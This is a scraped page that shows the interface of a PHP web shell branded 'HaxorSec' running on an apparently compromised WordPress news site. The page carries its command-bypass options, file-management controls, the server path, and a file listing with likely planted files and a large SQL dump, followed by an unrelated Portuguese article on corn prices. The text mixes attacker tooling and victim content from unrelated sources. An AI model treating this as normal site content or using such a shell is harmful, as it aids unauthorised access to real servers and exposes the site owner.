[ Command Bypas Status Wajib ON MAIL PUTENV @ HaxorSec]
[ Function mail() ] : [ ON ]
[ Function putenv() ] : [ ON ]

DIR: //home/u205320858/domains/agronews.tv.br/public_html / [ GO Home ]



Command BYPASS
Command BIASA
Create Folder
Create File

Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2024-09-22 20:20:41 0755
.. 4096 2024-09-19 10:26:48 0755
.htaccess 5660 2024-09-19 04:16:16 0644
.htaccess.bk 1182 2024-08-05 15:52:43 0644
.private 4096 2024-08-05 15:52:43 0755
.tmb 4096 2024-09-22 20:16:29 0777
101089.php 446 2024-09-19 13:11:26 0644
a.php 446 2024-09-20 07:17:37 0644
ads.txt 58 2024-08-05 15:52:43 0644
default.php 16384 2024-08-05 15:52:43 0644
error_log 1287 2024-08-05 15:40:51 0644
favicon.ico 47710 2024-08-05 15:50:52 0644
front.js 16432 2024-08-05 15:50:52 0644
index.php 405 2024-09-22 20:15:15 0644
license.txt 19915 2024-09-22 20:15:15 0644
p.php 3299 2024-09-16 09:55:54 0644
readme.html 7409 2024-09-22 20:15:15 0644
robots.txt 975 2024-09-15 08:54:58 0644
style.php 28 2024-09-15 08:51:34 0644
teste.sql 279545480 2024-09-15 12:29:05 0644
wp-22.php 1160 2024-09-14 10:48:03 0644
wp-act.php 78367 2024-09-18 13:28:03 0644
wp-activate.php 7387 2024-09-22 20:15:14 0644
wp-admin 4096 2024-03-01 23:05:41 0755
wp-blog-header.php 351 2024-09-22 20:15:14 0644
wp-comments-post.php 2323 2024-09-22 20:15:15 0644
wp-config-sample.php 3033 2024-09-22 20:15:15 0644
wp-config.php 3656 2024-09-15 12:34:45 0644
wp-content 4096 2024-09-22 20:19:21 0755
wp-cron.php 5638 2024-09-22 20:15:15 0644
wp-includes 16384 2024-09-18 10:49:20 0755
wp-links-opml.php 2502 2024-09-22 20:15:15 0644
wp-load.php 3937 2024-09-22 20:15:15 0644
wp-login.php 51238 2024-09-22 20:15:15 0644
wp-mail.php 8525 2024-09-22 20:15:15 0644
wp-setting..s.php 28298 2024-09-22 20:18:54 0644
wp-settings.php 28774 2024-09-22 20:15:15 0644
wp-signup.php 34385 2024-09-22 20:15:15 0644
wp-trackback.php 4885 2024-09-22 20:15:15 0644
wp.php 1160 2024-09-16 09:51:26 0644
xmlrpc.php 3246 2024-09-22 20:15:15 0644
Milho: valores recuam no RS e no centro-oeste, seguem subindo em SP

Milho: valores recuam no RS e no centro-oeste, seguem subindo em SP

Os valores do milho voltaram a cair em algumas regiões acompanhadas pelo Cepea, especialmente nas do Centro-Oeste e do Rio Grande do Sul

 

A pressão vem do bom desenvolvimento da safra de verão, que tem sido favorecida pelo clima, e também das exportações em ritmo lento. Já nas praças consumidoras, como em São Paulo, as cotações seguem avançando, influenciadas pelo recuo de vendedores. Entre 16 e 23 de novembro, o milho (negociação entre empresas) na região de Sorriso (MT) se desvalorizou 1,4%, a R$ 19,19/saca de 60 kg na sexta-feira, 23.

No Sul, os valores do milho pagos aos produtores caíram 2,3% em Santa Rosa (RS), com o cereal negociado a R$ 31,94/sc na sexta. Já em São Paulo, o Indicador ESALQ/BM&FBovespa (região de Campinas) avançou 1,3%, fechando a R$ 37,30/saca no dia 23. Neste caso, alguns compradores já indicam a necessidade de repor estoques para o fim de ano.

A oferta de outros estados, sobretudo do Centro-Oeste, tem sido menor e preocupações quanto ao frete limitam os negócios.

 

Fonte: Cepea

TAGS:
Compartilhar este artigo
Sair da versão mobile